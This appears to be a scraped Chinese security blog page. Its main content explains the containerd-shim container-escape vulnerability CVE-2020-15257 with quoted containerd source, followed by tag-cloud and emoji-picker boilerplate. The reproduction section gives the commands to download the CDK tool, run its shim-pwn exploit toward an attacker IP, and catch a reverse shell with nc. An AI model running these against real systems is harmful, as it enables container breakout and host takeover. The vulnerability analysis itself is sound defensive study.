at
1
awk
1
bypass
1
CentOs
3
chrony
2
crontab
1
csrf
1
DDOS攻击
1
Docker
1
firewall
1
firewalld
0
html
3
http
1
iframe
1
iptables
3
javascript
1
kali
1
Linux
1
mail
1
nginx
6
NTP
1
php
1
php-fpm
1
php伪协议
3
SecureCRT
1
sftp
1
shell
2
sql注入
6
ssh
3
ssl
1
SSRF
1
swk
0
WebSehll
2
webshell
3
WEB服务器
1
web网安
2
web网安 php
0
WWW
1
XSS
7
yum
1
例行性工作
1
免密登录
1
基线检查
1
安全
1
宽字节注入
1
密钥登陆
2
提权
1
数据包
0
数据包 ,wireshark ,
1
数据包,
0
数据包,wireshark,
0
文件上传
2
文件包含漏洞
3
木马
1
正则回溯
1
测试
0
绕过
1
绕过姿势
1
负载均衡
1
防御软件
1
防御软件 企业级防护设备
0
防火墙
1
136 func (b *bundle) shimAddress(namespace string) string {
137 d := sha256.Sum256([]byte(filepath.Join(namespace, b.id)))
138 return filepath.Join(string(filepath.Separator), "containerd-shim", fmt.Sprintf("%x.sock", d))
139 }
https://github.com/containerd/containerd/blob/v1.4.2/runtime/v1/shim/client/client.go#L217
217 func newSocket(address string) (*net.UnixListener, error) {
218 if len(address) > 106 {
219 return nil, errors.Errorf("%q: unix socket path too long (> 106)", address)
220 }
221 l, err := net.Listen("unix", "\x00"+address)
222 if err != nil {
223 return nil, errors.Wrapf(err, "failed to listen to abstract unix socket %q", address)
224 }
226 return l.(*net.UnixListener), nil
227 }
注意221行中,address前面加上了一个“\x00”,这个就表示抽象名字空间路径的Unix域套接字。
containerd传递Unix域套接字文件描述符给containerd-shim。containerd-shim在正式启动之后,会基于父进程(也就是containerd)传递的Unix域套接字文件描述符,建立gRPC服务,对外暴露一些API用于container、task的控制:
https://github.com/containerd/containerd/blob/v1.4.2/runtime/v1/shim/v1/shim.proto#L18
service Shim {
// State returns shim and task state information.
rpc State(StateRequest) returns (StateResponse);
rpc Create(CreateTaskRequest) returns (CreateTaskResponse);
rpc Start(StartRequest) returns (StartResponse);
rpc Delete(google.protobuf.Empty) returns (DeleteResponse);
rpc DeleteProcess(DeleteProcessRequest) returns (DeleteResponse);
rpc ListPids(ListPidsRequest) returns (ListPidsResponse);
rpc Pause(google.protobuf.Empty) returns (google.protobuf.Empty);
rpc Resume(google.protobuf.Empty) returns (google.protobuf.Empty);
rpc Checkpoint(CheckpointTaskRequest) returns (google.protobuf.Empty);
rpc Kill(KillRequest) returns (google.protobuf.Empty);
rpc Exec(ExecProcessRequest) returns (google.protobuf.Empty);
rpc ResizePty(ResizePtyRequest) returns (google.protobuf.Empty);
rpc CloseIO(CloseIORequest) returns (google.protobuf.Empty);
// ShimInfo returns information about the shim.
rpc ShimInfo(google.protobuf.Empty) returns (ShimInfoResponse);
rpc Update(UpdateTaskRequest) returns (google.protobuf.Empty);
rpc Wait(WaitRequest) returns (WaitResponse);
此时,containerd-shim做为server向外提供服务,containerd做为client,调用containerd-shim提供的API实现对容器的间接管理。
抽象Unix域套接字没有权限限制,所以只能靠连接进程的UID、GID做访问控制,限定了只能是root(UID=0,GID=0)用户才能连接成功。
https://github.com/containerd/containerd/blob/v1.4.2/vendor/github.com/containerd/ttrpc/unixcreds_linux.go#L80
80 // UnixSocketRequireSameUser resolves the current effective unix user and returns a
81 // UnixCredentialsFunc that will validate incoming unix connections against the
82 // current credentials.
83 //
84 // This is useful when using abstract sockets that are accessible by all users.
85 func UnixSocketRequireSameUser() UnixCredentialsFunc {
86 euid, egid := os.Geteuid(), os.Getegid()
87 return UnixSocketRequireUidGid(euid, egid)
88 }
通过访问/proc/net/unix文件,可以获取到当前网络命名空间下所有的Unix域套接字信息。
在默认情况下,docker run启动的容器的网络模式是bridge,容器和主机之间实现了网络隔离,所以在容器内部读取/proc/net/unix文件,看不到任何信息,如下所示:
[root@centos ~]# docker run -ti --rm busybox
/ # cat /proc/net/unix
Num RefCount Protocol Flags Type St Inode Path
但是在host模式下,由于容器和主机共享同一个网络命名空间,容器能访问到主机中的所有网络资源,所以在容器内部读取/proc/net/unix
文件,显示的就是真实主机中的信息,如下所示:
[root@centos ~]# docker run -ti --rm --network=host busybox
/ # cat /proc/net/unix
Num RefCount Protocol Flags Type St Inode Path
......................................................................................
ffff8fccfce39980: 00000003 00000000 00000000 0001 03 19728
ffff8fccfce35940: 00000003 00000000 00000000 0001 03 19713
ffff8fccdc4dd940: 00000003 00000000 00000000 0001 03 30927
ffff8fccfce41100: 00000003 00000000 00000000 0001 03 19756
ffff8fccf6003fc0: 00000003 00000000 00000000 0001 03 15925
......................................................................................
ffff8fccdc590cc0:
00000003 00000000 00000000 0001 03 39217
@/containerd-shim/3d6a9ed878c586fd715d9b83158ce32b6109af11991bfad4cf55fcbdaf6fee76.sock
......................................................................................
ffff8fccdc4df2c0: 00000003 00000000 00000000 0001 03 28826 /run/containerd/containerd.sock
......................................................................................
ffff8fccdc4dcc80: 00000003 00000000 00000000 0001 03 39197 /var/run/docker.sock
......................................................................................
1)/var/run/docker.sock:Docker Daemon监听的Unix域套接字,用于Docker client之间通信;
2)/run/containerd/containerd.sock:containerd监听的Unix域套接字,Docker Daemon、ctr可以通过它和containerd通信;
3)@/containerd-shim/3d6a9ed878c586fd715d9b83158ce32b6109af11991bfad4cf55fcbdaf6fee76.sock:
这个就是上文所述的,containerd-shim监听的Unix域套接字,containerd通过它和containerd-shim通信,控制管理容器。
/var/run/docker.sock
、/run/containerd/containerd.sock
这两者是普通的文件路径,虽然容器共享了主机的网络命名空间,但没有共享mnt命名空间,容器和主机之间的磁盘挂载点和文件系统仍然存在隔离,所以在容器内部仍然不能通过/var/run/docker.sock
、/run/containerd/containerd.sock
这样的路径连接对应的Unix域套接字。
但是@/containerd-shim/3d6a9ed878c586fd715d9b83158ce32b6109af11991bfad4cf55fcbdaf6fee76.sock
这一类的抽象Unix域套接字不一样,它没有依靠mnt命名空间做隔离,而是依靠网络命名空间做隔离。
也就是说,host模式下,容器共享了主机的网络命名空间,也就能够去连接@/containerd-shim/3d6a9ed878c586fd715d9b83158ce32b6109af11991bfad4cf55fcbdaf6fee76.sock
这一类的抽象Unix域套接字。
而且在默认情况下,容器内部的进程都是以root用户启动的,所以也能通过UnixSocketRequireSameUser的校验。
在这两者的共同作用下,容器内部的进程就可以像主机中的containerd一样,连接containerd-shim监听的抽象Unix域套接字,调用containerd-shim提供的各种API,从而实现容器逃逸。
Docker逃逸 CVE-2020-15257
wget https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz
tar -zxvf cdk_v0.1.6_release.tar.gz
./cdk_linux_amd64 run shim-pwn [攻击机ip] [监听端口]
./cdk_linux_amd64 run shim-pwn 192.168.232.129 1337
方便复现漏洞,直接把POC复制到docker中
[root@localhost ~]# nc -lvvp 1337
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!